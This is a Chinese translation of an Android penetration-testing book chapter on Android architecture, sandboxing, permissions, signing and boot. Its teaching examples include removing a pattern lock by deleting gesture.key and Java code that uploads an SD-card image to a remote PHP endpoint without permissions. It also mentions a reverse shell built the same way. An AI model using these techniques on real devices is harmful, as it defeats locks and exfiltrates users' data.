【Android 】你了解嗎?

2021-02-14 電子物證

 

原文:Learning Pentesting for Android Devices 

作者:Aditya Gupta

編譯:飛龍使者 

轉自:看雪學院(ID:ikanxue)

Android 是當今最流行的智慧型手機作業系統之一。隨著人氣的增加,它存在很多安全風險,這些風險不可避免地被引入到應用程式中,使得用戶本身受到威脅。我們將在本書中以方法論和循序漸進的方式來討論 Android 應用程式安全性和滲透測試的各個方面。

自從 Android 被谷歌收購( 2005 年) ,谷歌已經完成了整個開發,在過去的 9 年裡,尤其是在安全方面,有很多變化。 現在,它是世界上最廣泛使用的智慧型手機平臺,特別是由於不同的手機製造商,如 LG,三星,索尼和 HTC 的支持。 

Android 的後續版本中引入了許多新概念,例如 Google Bouncer 和 Google App Verifier。 我們將在本章逐一介紹它們。

如果我們看看 Android 的架構,如下圖所示,我們將看到它被分為四個不同的層。 在它的底部是 Linux 內核,它已被修改來在移動環境中獲得更好的性能。 Linux 內核還必須與所有硬體組件交互,因此也包含大多數硬體驅動程序。此外,它負責 Android 中存在的大多數安全功能。 由於 Android 基於 Linux 平臺,它還使開發人員易於將 Android 移植到其他平臺和架構。 Android 還提供了一個硬體抽象層,供開發人員在 Android 平臺棧和他們想要移植的硬體之間創建軟體鉤子。

在 Linux 內核之上是一個層級,包含一些最重要和有用的庫,如下所示:

Surface Manager:管理窗口和屏幕 

媒體框架:這允許使用各種類型的編解碼器來播放和記錄不同的媒體 

SQLite:這是一個較輕的 SQL 版本,用於資料庫管理 

WebKit:這是瀏覽器渲染引擎 

OpenGL:用於在屏幕上正確顯示 2D 和 3D 內容

以下是來自 Android 開發人員網站的 Android 架構的圖形表示: 

Android 中的庫是用 C 和 C++ 編寫的,其中大多數是從 Linux 移植的。 與 Linux 相比,Android 中的一個主要區別是,在這裡沒有 libc 庫,它用於 Linux 中的大多數任務。 相反,Android 有自己的稱為 bionic 的庫,我們可以認為它是一個剝離和修改後的,用於 Android的 libc 版本。

在同一層級,還有來自 Android 運行時 -- Dalvik 虛擬機和核心庫的組件。 我們將在本書的下一部分中討論關於 Dalvik 虛擬機的很多內容。

在這個層之上,有應用程式框架層,它支持應用程式執行不同類型的任務。

此外,開發人員創建的大多數應用程式只與第一層和最頂層的應用程式交互。 該架構以一種方式設計,在每個時間點,底層都支持上面的層級。

早期版本的 Android( <4.0) 基於 Linux 內核 2.6.x,而較新版本基於內核 3.x. 不同的Android 版本和他們使用的 Linux 內核的列表規定如下:

Android 中的所有應用程式都在虛擬環境下運行,這稱為 Dalvik 虛擬機( DVM) 。 這裡需要注意的一點是,從 Android 4.4 版本開始,還有另一個運行時稱為 Android 運行時( ART) ,用戶可以在 DVM 和 ART 運行時環境之間自由切換。

然而,對於這本書,我們將只關注 Dalvik 虛擬機實現。 它類似於 Java 虛擬機( JVM) ,除了基於寄存器的特性,而不是基於堆棧的特性。 因此,運行的每個應用程式都將在自己的 Dalvik 虛擬機實例下運行。 因此,如果我們運行三個不同的應用程式,將有三個不同的虛擬實例。 現在,這裡的重點是,即使它為應用程式創建一個虛擬環境來運行,它不應該與安全容器或安全環境混淆。 DVM 的主要焦點是與性能相關,而不是與安全性相關。

Dalvik 虛擬機執行一個名為 .dex 或 Dalvik 可執行文件的文件格式。 我們將進一步查看 .dex 文件格式,並將在下面的章節中進行分析。 

現在讓我們繼續與 adb 進行交互,並更深入地分析 Android 設備及其體系結構。

如果你有 Android 設備或正在運行Android模擬器,則可以使用 Android SDK 本身提供的工具( 稱為 adb) 。 我們將在第二章詳細討論 adb。 現在,我們將只設置 SDK,我們已經準備好了。

一旦設備通過 USB 連接,我們可以在我們的終端中輸入 adb,這將顯示所連接設備的序列號列表。 請確保你已在設備設置中啟用了 USB 調試功能。

$ adb devices
List of devices 
attachedemulator-5554 device

現在,如我們之前所見,Android 是基於 Linux 內核的,所以大多數 Linux 命令在 Android 上也可以通過 adb shell 完美運行。 adb shell 為你提供與設備的 shell 直接交互,你可以在其中執行命令和執行操作以及分析設備中存在的信息。 為了執行 shell,只需要鍵入以下命令:

adb shell.

一旦我們在 shell 中,我們可以運行 ps 為了列出正在運行的進程:

如你所見, ps 將列出當前在 Android 系統中運行的所有進程。 如果仔細看,第一列制定了用戶名。 在這裡我們可以看到各種用戶名,如system , root , radio 和一系列以 app_ 開頭的用戶名。 正如你可能已經猜到的,以system 名稱運行的進程由系統擁有, root 作為根進程運行,radio 是與電話和無線電相關的進程, app_ 進程是用戶已下載的所有應用程式,安裝在他們的設備上並且當前正在運行。 因此,就像在 Linux 中用戶確定了當前登錄到系統的唯一用戶一樣,在 Android 中,用戶標識了在自己的環境中運行的應用/進程。

所以,Android 安全模型的核心是 Linux 特權分離。 每次在 Android 設備中啟動新應用程式時,都會為其分配唯一的用戶 ID( UID) ,該用戶 ID 將之後會屬於某些其他預定義組。

與 Linux 類似,用作命令的所有二進位文件都位於 /system/bin 和 /system /xbin 。 此外,我們從 Play 商店或任何其他來源安裝的應用程式數據將位於 /data/data ,而其原始安裝文件( 即 .apk) 將存儲在 /data/app 。 此外,還有一些應用程式需要從 Play 商店購買,而不是只是免費下載。 這些應用程式將存儲在 /data/app-private/ 。

Android 安裝包( APK) 是 Android 應用程式的默認擴展名,它只是一個歸檔文件,包含應用程式的所有必需文件和文件夾。 我們在後面的章節中將繼續對 .apk 文件進行逆向工程。

現在,讓我們訪問 /data/data ,看看裡面有什麼。 這裡需要注意的一點是,為了在真實設備上實現,設備需要 root 並且必須處於 su 模式:

# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2

所以,我們可以在這裡看到,例如, com.aditya.facebookapp ,是單獨的應用程式文件夾。

現在,你可能會想知道為什麼它是用點分隔的單詞風格,而不是常見的文件夾名稱,如FacebookApp 或 CameraApp 。 因此,這些文件夾名稱指定各個應用程式的軟體包名稱。 軟體包名稱是應用程式在 Play 商店和設備上標識的唯一標識符。 例如,可能存在具有相同名稱的多個相機應用或計算器應用。 因此,為了唯一地標識不同的應用,使用包名稱約定而不是常規應用名稱。

如果我們進入任何應用程式文件夾,我們會看到不同的子文件夾,例如文件(files ) ,資料庫(databases ) 和緩存(cache ) ,稍後我們將在第 3 章「逆向和審計 Android 應用程式」中查看。

shell@android:/data/data/de.trier.infsec.koch.droidsheep # ls
cache
databases
files
lib
shell@android:/data/data/de.trier.infsec.koch.droidsheep #

這裡需要注意的一個重要的事情是,如果手機已經 root,我們可以修改文件系統中的任何文件。 對設備獲取 root 意味著我們可以完全訪問和控制整個設備,這意味著我們可以看到以及修改任何我們想要的文件。

最常見的安全保護之一是大多數人都想到的是模式鎖定或 pin 鎖,它默認存在於所有Android手機。 你可以通過訪問 Settings | Security | Screen Lock 來配置自己的模式。

一旦我們設置了密碼或模式鎖定,我們現在將繼續,將手機與 USB 連接到我們的系統。 現在,密碼鎖的密鑰或模式鎖的模式數據以名稱 password.key 或 gesture.key 存儲在 /data/system 。 注意,如果設備被鎖定,並且 USB 調試被打開,你需要一個自定義引導加載程序來打開 USB 調試。 整個過程超出了本書的範圍。 要了解有關 Android 的更多信息,請參閱 Thomas Cannon Digging 的 Defcon 演示。

因為破解密碼/模式將更加艱難,並且需要暴力( 我們將看到如何解密實際數據) ,我們將簡單地繼續並刪除該文件,這將從我們手機中刪除模式保護 :

shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key

所以,我們可以看到,一旦手機被 root ,幾乎任何東西都可以只用手機、一根USB電纜和一個系統來完成。 我們將在本書的後續章節中更多地了解基於 USB 的利用。

為了理解 Android 沙箱,讓我們舉一個例子,如下圖:

如前圖所示和前面所討論的,Android 中的每個應用程式都在其自己的 Dalvik 虛擬機實例中運行。 這就是為什麼,無論何時任何應用程式在我們的設備中崩潰,它只是顯示強制關閉或等待選項,但其他應用程式繼續順利運行。 此外,由於每個應用程式都在其自己的實例中運行,因此除非內容提供者另有規定,否則將無法訪問其他應用程式的數據。

Android 使用細粒度的權限模型,這需要應用程式在編譯最終應用程式包之前預定義權限。

你必須注意到,每次從 Play 商店或任何其他來源下載應用程式時,它會在安裝過程中顯示一個權限屏幕,它類似於以下屏幕截圖:

此權限屏幕顯示應用程式可以通過手機執行的所有任務的列表,例如發送簡訊,訪問網際網路和訪問攝像頭。 請求多於所需的權限使應用程式成為惡意軟體作者的更具吸引力的目標。

Android 應用程式開發人員必須在開發應用程式時在名為 AndroidManifest.xml 的文件中指定所有這些權限。 此文件包含各種應用程式相關信息的列表,例如運行程序所需的最低Android 版本,程序包名稱,活動列表( 應用程式可見的應用程式中的界面) ,服務( 應用程式的後臺進程) ,和權限。 如果應用程式開發人員未能在 AndroidManifest.xml 文件中指定權限,並仍在應用程式中使用它,則應用程式將崩潰,並在用戶運行它時顯示強制關閉消息。

一個正常的 AndroidManifest.xml 文件看起來像下面的截圖所示。 在這裡,你可以使用 <uses-permission> 標記和其他標記查看所需的不同權限:

如前所述,所有 Android 應用程式在安裝後首次啟動時都會分配一個唯一的 UID。 具有給定UID 的所有用戶都屬於特定組,具體取決於他們請求的權限。 例如,一個僅請求 Internet 權限的應用程式將屬於 inet 組,因為 Android 中的 Internet 權限位於 inet 組下。

用戶( 在這種情況下的應用程式) 可以屬於多個組,具體取決於他們請求的權限。或者換句話說,每個用戶可以屬於多個組,並且每個組可以具有多個用戶。 這些組具有由組ID( GID) 定義的唯一名稱。然而,開發人員可以明確地指定其他應用程式在與第一個相同的 UID 下運行。在我們的設備中,其中的組和權限在文件 platform.xml 中指定,它位於 /system/etc/permissions/:

shell@grouper:/system/etc/permissions $ cat platform.xml
<permissions>
. . .
<!-- ================================================================== -->
<!-- The following tags are associating low-level group IDs with
permission names. By specifying such a mapping, you are saying
that any application process granted the given permission will
also be running with the given group ID attached to its process,
so it can perform any filesystem (read, write, execute) operations
allowed for that group. -->
<permission name="android.permission.BLUETOOTH" >
<group gid="net_bt" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
. . . [Some of the data has been stripped from here in order to shorten the output an
d make it readable]
</permissions>

此外,這清除了對在 Android 設備中運行的本地應用程式的懷疑。 由於本地應用程式直接與處理器交互,而不是在 Dalvik 虛擬機下運行,因此它不會以任何方式影響整體安全模型。

現在,就像我們在前面部分看到的,應用程式將其數據存儲在 location/data/data/[package name] 。現在,存儲應用程式數據的所有文件夾也具有相同的用戶 ID,這構成 Android 安全模型的基礎。根據 UID 和文件權限,它將限制來自具有不同 UID 的其他應用程式對它的訪問和修改。

在下面的代碼示例中, ret 包含以 Base64 格式編碼存儲在的 SD 卡中的圖像,現在正在使用瀏覽器調用來上傳到 attify.com 網站。 目的只是找到一種方式來在兩個不同的 Android 對象之間進行通信。

我們將首先創建一個對象來存儲圖像,在Base64 中編碼,最後將其存儲在一個字符串中imageString :

final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
InputStream is = cr.openInputStream(uri);
bMap = BitmapFactory.decodeStream(is);
if (is != null) {
is.close();
}
} catch (Exception e) {
Log.e("Error reading file", e.toString());
} B
yteArrayOutputStream baos = new ByteArrayOutputStream();
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);
byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);

最後,我們將啟動瀏覽器將數據發送到我們的伺服器,我們有一個 .php 文件偵聽傳入的數據:

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+im
ageString)));

我們還可以執行命令並以相同的方式將輸出發送到遠程伺服器。 但是,這裡需要注意的一點是 shell 應該在應用程式的用戶下運行:

// To execute commands :
String str = "cat /proc/version"; //command to be executed is stored in str.
process = Runtime.getRuntime().exec(str);

這是一個有趣的現象,因為攻擊者可以獲得一個反向 shell( 這是一個從設備到系統的雙向連接,可以用於執行命令) ,而不需要任何類型的權限。

應用程式籤名是 Android 的獨特特性之一,由於其開放性和開發人員社區,它取得了成功。

Play 商店中有超過一百萬個應用。 在 Android 中,任何人都可以通過下載 Android SDK 創建 Android 應用,然後將其發布到 Play 商店。 通常有兩種類型的證書籤名機制。 一個是由管理證書頒發機構( CA) 籤名的,另一個是自籤名證書。 沒有中間證書頒發機構( CA) ,而開發人員可以創建自己的證書並為應用程式籤名。

在 Apple 的 iOS 應用程式模型中可以看到 CA 籤名,其中開發者上傳到 App Store 的每個應用程式都經過驗證,然後由 Apple 的證書籤名。 一旦下載到設備,設備將驗證應用程式是否由 Apple 的 CA 籤名,然後才允許應用程式運行。

但是,在 Android 中是相反的。 沒有證書頒發機構; 而是開發人員的自創建證書可以籤署應用程式。 應用程式上傳完成後,會由 Google Bouncer 進行驗證,這是一個虛擬環境,用於檢查應用程式是否是惡意或合法的。 檢查完成後,應用就會顯示在 Play 商店中。 在這種情況下,Google 不會對該應用程式進行籤名。 開發人員可以使用 Android SDK 附帶的工具( 稱為keytool ) 創建自己的證書,或者使用 Eclipse 的 GUI 創建證書。

因此,在 Android 中,一旦開發人員使用他創建的證書籤名了應用程式,他需要將證書的密鑰保存在安全的位置,以防止其他人竊取他的密鑰並使用開發人員的證書籤署其他應用程式。 如果我們有一個 Android 應用程式(.apk ) 文件,我們可以檢查應用程式的籤名,並找到使用稱為 jarsigner 的工具籤署應用程式的人,這個工具是 Android SDK 自帶的:

$ jarsigner -verify -certs -verbose testing.apk

以下是在應用程式上運行上述命令並獲取籤名的信息的屏幕截圖:

此外,解壓縮 .apk 文件後,可以解析 META-INF 文件夾中出現的 CERT.RSA 文件的 ASCII 內容,以獲取籤名,如以下命令所示:

$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer

這在檢測和分析未知的 Android .apk 示例時非常有用。 因此,我們可以使用它獲得籤署人以及其他詳細信息。

在 Android 中考慮安全性時最重要的事情之一是 Android 啟動過程。 整個引導過程從引導加載程序開始,它會反過來啟動 init 過程 - 第一個用戶級進程。所以,任何引導加載程序的變化,或者如果我們加載另一個,而不是默認存在的引導加載程序,我們實際上可以更改在設備上加載的內容。 

引導加載程序通常是特定於供應商的,每個供應商都有自己的修改版本的引導加載程序。

通常,默認情況下,此功能通過鎖定引導加載程序來禁用,它只允許供應商指定的受信任內核在設備上運行。為了將自己的 ROM 刷到 Android 設備,需要解鎖引導加載程序。解鎖引導加載程序的過程可能因設備而異。在某些情況下,它也可能使設備的保修失效。
注 在Nexus 7 中,它就像使用命令行中的 fastboot 工具一樣簡單,如下所示:

$ fastboot oem unlock

在其他設備中,可能需要更多精力。 我們看看如何創建自己的 Bootloader 並在本書的後續章節中使用它。

回到啟動過程,在引導加載程序啟動內核並啟動 init 之後,它掛載了 Android 系統運行所需的一些重要目錄,例如 /dev , /sys 和 /proc 。 此外, init 從配置文件 init.rc 和 init.[device-name].rc中獲取自己的配置,在某些情況下從位於相同位置的 .sh 文件獲取自己的配置。

如果我們對 init.rc 文件執行 cat ,我們可以看到 init 加載自身時使用的所有規範,如下面的截圖所示:

init 進程的責任是啟動其他必需的組件,例如負責 ADB 通信和卷守護程序( vold) 的 adb守護程序( adbd) 。

加載時使用的一些屬性位於 build.prop ,它位於 location/system 。 當你在 Android 設備上看到 Android logo 時,就完成了 init 進程的加載。 正如我們在下面的截圖中可以看到的,我們通過檢查 build.prop 文件來獲取設備的具體信息:

一旦所有的東西被加載, init 最後會加載一個稱為 Zygote 的進程,負責以最小空間加載 Dalvik 虛擬機和共享庫,來加快整個進程的加載速度。 此外,它繼續監聽對自己的新調用,以便在必要時啟動更多 DVM。 這是當你在設備上看到 Android 開機動畫時的情況。

一旦完全啟動,Zygote 派生自己並啟動系統,加載其他必要的 Android 組件,如活動管理器。 一旦完成整個引導過程,系統發送 BOOT_COMPLETED 的廣播,許多應用程式可能使用稱為廣播接收器的 Android 應用程式中的組件來監聽。 當我們在第 3 章「逆向和審計 Android 應用程式」中分析惡意軟體和應用程式時,我們將進一步了解廣播接收器。

我們為學習 Android 滲透測試建立了基礎, 我們還了解 Android 的內部結構及其安全體系結構

相關焦點

  • Android權限機制,你真的了解嗎?
    /res/AndroidManifest.xml中,如下:<permission android:name="android.permission.SEND_SMS" android:permissionGroup="android.permission-group.COST_MONEY" android:protectionLevel="dangerous
  • 你真的了解Android權限機制嗎?
    所以接下來我們將深入了解框架層的動態和靜態權限執行的原理。動態權限執行動態權限執行,最典型的場景,就是 IPC。Android 的核心系統服務統一會註冊到服務管理器,任何應用,只要知道服務的註冊名稱,就可以拿到對應的 Binder引用,就可使用 Binder IPC 機制調用服務。
  • 你真的了解weight和weightSum嗎?
    本篇來自 胡蘿蔔小兔 的投稿,給大家分析了 weight 和 weightSum 定義以及使用方法,讓你了解更加細節的方面。那麼問題來了,這兩個方式有什麼區別嗎? 眼尖的童鞋立馬會說:當然有區別,一個 android:layout_width 是 0, 另一個是 wrap_content。 那麼這兩個有什麼區別嗎? 為什麼實現的效果是一樣的? 我還要問一句,真的是一樣嗎?
  • 對於Android Button,你可能並不了解
    所以如果你是使用Java語言開發Android項目,那麼就集成Core和Java這兩個庫,如果你是使用Kotlin語言的話,那就集成Core和Kotlin這兩個庫就行了。屬性描述android:button設置一張圖片來作為顯示android:buttonTint渲染顏色android:buttonTintMode渲染模式android:checked設置為選中狀態用來重寫進行自定義控制項的方法我不夠熟悉我就不講了.設置選擇狀態可以通過設置參數在選中和未選中的狀態之間切換.
  • 你了解 Android 系統啟動流程嗎?
    面試官提了一個問題,我們來看看 😎、😨 和 🤔️ 三位同學的表現如何吧😎 自認為無所不知,水平已達應用開發天花板,目前月薪 10k面試官:你了解Android 系統啟動流程嗎?面試官:system_server 是由 init 進程啟動的嗎?😎:是的,但不用在意這些細節,沒啥用。
  • 了解一下,Android 10中的APEX
    com.android.runtime.debug其核心是com.android.runtime。什麼是runtime呢?就是ART虛擬機相關的東西。FirstStageMain裡邊將做android verified boot,也就是把上篇文章(了解一下,Android 10中鏡像文件的製作)裡的分區掛載上來。第一階段的代碼中有大量和分區,avb有關的內容。
  • Android 12 已來,你的 App 崩潰了嗎?
    Android 12 已來,你的 App 崩潰了嗎?我們已經開始做 Android 12 的適配了,在 Android 12 中包含了很多的功能和一些行為的變更,接下來我們一起來分析這些行為的變更對我們的應用產生了那些影響。
  • Android消息機制,你真的了解Handler嗎?
    本文主要通過幾個問題圍繞著Handler展開深入並拓展的了解。看該篇文章可能需要掌握一定的《Activity啟動過程》的理論知識。並且對 Handler 有一定的了解。大家有興趣的也可以到 Gityuan的博客 上多了解了解,全部都是乾貨。而且他寫的東西比較權威,畢竟也是小米系統工程師的骨幹成員。Looper 死循環為什麼不會導致應用卡死,會消耗大量資源嗎?主線程的消息循環機制是什麼(死循環如何處理其它事務)?ActivityThread 的動力是什麼?
  • 你以為你已經很了解Android Studio了?
    深黑色的 UI 看上去不是很 MAN 嗎(我對黑色誘惑難以抵擋),很像後期剪輯製作的工作檯,尤其適合程式設計師深夜敲代碼,五顏六色的語句搭配,而且每種參數的顏色都是可以在設置裡自定義的;這裡可以完全自定義,比如把構造函數改成綠色,把類名改為藍色,把局部變量改為黃色,把靜態變量改為紫色,隨你;
  • 帶你了解 Android 約束布局 ConstraintLayout
    ><android.support.constraint.ConstraintLayout    xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:app="http://schemas.android.com/apk/res-auto"    android:layout_width
  • Android 12 適配你準備好了嗎?
    閃屏動畫UI 大大們會滿足於默認的的閃屏頁嗎?顯然不會!如果你想進一步研究,可以學習:❝《官方文檔》httpshttps://material.io/blog/announcing-material-youMaterial You如果你的 App 想遵循新的設計規範,可以使用新的組件:
  • 最新的15個Android庫,你了解嗎?
    你可以自定義normal/active兩個狀態的顏色,完成圖標,開啟動畫並設置動畫時長。可通過Github上的設置項和樣式查閱所有設置項。你可以在README中找到其他重要信息。還有一個示例App。該庫支持API 19及更高版本。項目地址https://github.com/Ramotion/garland-view-android4.
  • 關於在Android中使用CMake你所需要了解的一切
    本篇轉自 xong的文章,分享了關於關於在Android中使用CMake你所需要了解的一切的相關內容,一起來看看!希望大家喜歡。對於下面返回的那一句,我為啥要這樣寫呢,因為用Android Studio創建一個帶有cpp項目的時候,裡面就是這樣寫的,然後就很自然的抄來了,但是我們想一下,有這樣寫的必要嗎?
  • 是時候來了解android7了:多窗口支持
    亓斌的博客地址:http://blog.csdn.net/qibin0506/這篇文章開始, 我們來了解一下android 7的一些新特性, 話說今年android 7預覽版本來的比以往都稍早一些, 這樣對於我們開發者來說算是一個好消息, 我們可以有充足的時間來看新版android的一些特性, 讓我們的應用更快的支持到android 7.
  • 一文帶你了解Android Jetpack
    allprojects {        repositories {            google()            jcenter()        }    }如果想引入Room,可以在模塊build.gradle中這麼寫:    implementation   "android.arch.persistence.room
  • Android 關於混淆你需要知道的
    現在一般打包都會開啟混淆,但是混淆之後,還有防混淆文件配置,配置的規則你好歹要了解吧,混淆怎麼開啟你要知道吧,混淆之後還有精簡,還有壓縮這些你都知道嗎
  • Android 10 適配攻略,你適配了嗎?
    了解了上面的概念,那我們所說的外部儲存訪問限制,可以認為是針對getExternalStorageDirectory()路徑下的文件。具體的規則如下表:上圖將外部存儲空間分為了三部分:特定目錄(App-specific),使用getExternalFilesDir()或 getExternalCacheDir()方法訪問。
  • Android 自定義權限真的安全嗎?
    如果你對 Android 的權限機制尚覺陌生,不妨先看看官方 API 指南的這一節: Android 的權限機制 (http://developer.android.com/training/articles/security-tips.html)。一般來說,當我們需要在組件間跨應用通信時,我們都需要提供某種形式的權限驗證來保證通信安全。
  • Android動畫:這些補間動畫的使用你必須要了解!
    閱讀本文前,請先閱讀文章:Android動畫:手把手帶你學習補間動畫    註:最近公眾號推送的專題是Android動畫,感興趣的讀者可以及時關注。目錄><translate xmlns:android="http://schemas.android.com/apk/res/android"        android:duration="3000"     android:startOffset ="1000"     android:fillBefore = 「true」
  • 全新Android Material 組件你在用了嗎?
    以及com.google.android.material。2、如果你不想切換到新的androidx和com.google.android.material ,您可以依賴com.android.support:design:28.0.0。